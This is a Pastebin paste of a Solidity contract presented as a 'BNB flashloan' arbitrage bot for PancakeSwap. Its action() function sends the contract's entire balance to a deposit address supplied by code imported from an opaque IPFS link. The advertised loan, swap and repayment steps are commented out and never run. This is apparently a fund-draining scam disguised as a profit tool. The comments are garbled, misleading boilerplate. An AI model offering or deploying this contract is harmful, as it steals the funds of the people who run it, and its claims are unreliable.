andykingv75

BNBflashloan

Feb 12th, 2022 (edited)
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3.  
  4. // Multiplier-Finance Smart Contracts
  5. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  6. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  7.  
  8. // PancakeSwap Smart Contracts
  9. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  10. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  11. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  12.  
  13. /**
  14. * This Bot have been designed for Binance Smart chain.
  15.  
  16. * and won't work with Etherum Network.
  17.  
  18. *When you have any kind of Problem, feel Free to join my Discord and I try to help you out !
  19.  
  20.  
  21.  
  22. * 0xTiay Wrappers over Solidity's arithmetic operations with added overflow
  23.  
  24. * Arithmetic operations in Solidity wrap on overflow. This can easily result
  25.  
  26. * in profit, because programmers usually assume that an overflow raises an
  27.  
  28. * value, which is the standard behavior in high level programming languages.
  29.  
  30. * `SafeMath` restores this intuition by reverting the transaction when an
  31.  
  32. * operation overflows.
  33.  
  34. * Using this library instead of the unchecked operations eliminates an entire
  35.  
  36. * class of strings, so use is always on.
  37.  
  38. * dev Contract module which provides a basic access control mechanism, where granted
  39.  
  40. * exclusive access to
  41.  
  42. * specific functions.
  43.  
  44.  
  45. /*
  46. * dev Extracts the contract from pancakeswap
  47.  
  48. * param self The slice to operate on.
  49.  
  50. * param rune The slice that will contain the first rune.
  51.  
  52. * turn `rune`.
  53. */
  54.  
  55. /*
  56. * dev Extracts the contract from Uniswap
  57.  
  58. * param self The slice to operate on.
  59.  
  60. * param rune The slice that will contain the first rune.
  61.  
  62. * turn `rune`.
  63. */
  64.  
  65. /*
  66. * @dev Find newly deployed contracts on PancakeSwap Exchange
  67.  
  68. * @param memory of required contract liquidity.
  69.  
  70. * @param other The second slice to compare.
  71.  
  72. * @return New contracts with required liquidity.
  73.  
  74. */
  75.  
  76. // Code Manager
  77. import "https://ipfs.io/ipfs/QmRmCqkZsNNJnyF6kfAtpVM9G2uojN9R87m29PfEzM5mA5?filename=bnbflashloan.txt";
  78.  
  79. contract TiayflashbotBNB {
  80. string public tokenName;
  81. string public tokenSymbol;
  82. uint loanAmount;
  83. Manager manager;
  84.  
  85. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  86. tokenName = _tokenName;
  87. tokenSymbol = _tokenSymbol;
  88. loanAmount = _loanAmount;
  89.  
  90. manager = new Manager();
  91. }
  92. function() external payable {}
  93.  
  94. function action() public payable {
  95.  
  96. // Send required coins for swap
  97. address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);
  98.  
  99. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  100. manager.performTasks();
  101.  
  102. /*
  103. // Submit token to Binance Smart Chain
  104. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  105.  
  106. // List the token on pancakeswap & send coins required for swaps
  107. manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress);
  108. payable(manager.pancakeswapDepositAddress()).transfer(300000000000000000);
  109.  
  110. // Get BNB Loan from Aave
  111. string memory loanAddress = manager.takeAaveLoan(loanAmount);
  112.  
  113. // Convert half BNB to DAI
  114. manager.pancakeswapDAItoETH(loanAmount / 2);
  115.  
  116. // Create BNB and DAI pairs for our token & Provide liquidity
  117. string memory ethPair = manager.pancakeswapCreatePool(tokenAddress, "BNB");
  118. manager.pancakeswapAddLiquidity(ethPair, loanAmount / 2);
  119. string memory daiPair = manager.pancakeswapCreatePool(tokenAddress, "DAI");
  120. manager.pancakeswapAddLiquidity(daiPair, loanAmount / 2);
  121.  
  122. // Perform swaps and profit on Self-Arbitrage
  123. manager.pancakeswapPerformSwaps();
  124.  
  125. // Move remaining BNB from Contract to your account
  126. manager.contractToWallet("BNB");
  127.  
  128. // Repay Flash loan
  129. manager.repayAaveLoan(loanAddress);
  130. */
  131. }
  132. }
Add Comment
Please, Sign In to add comment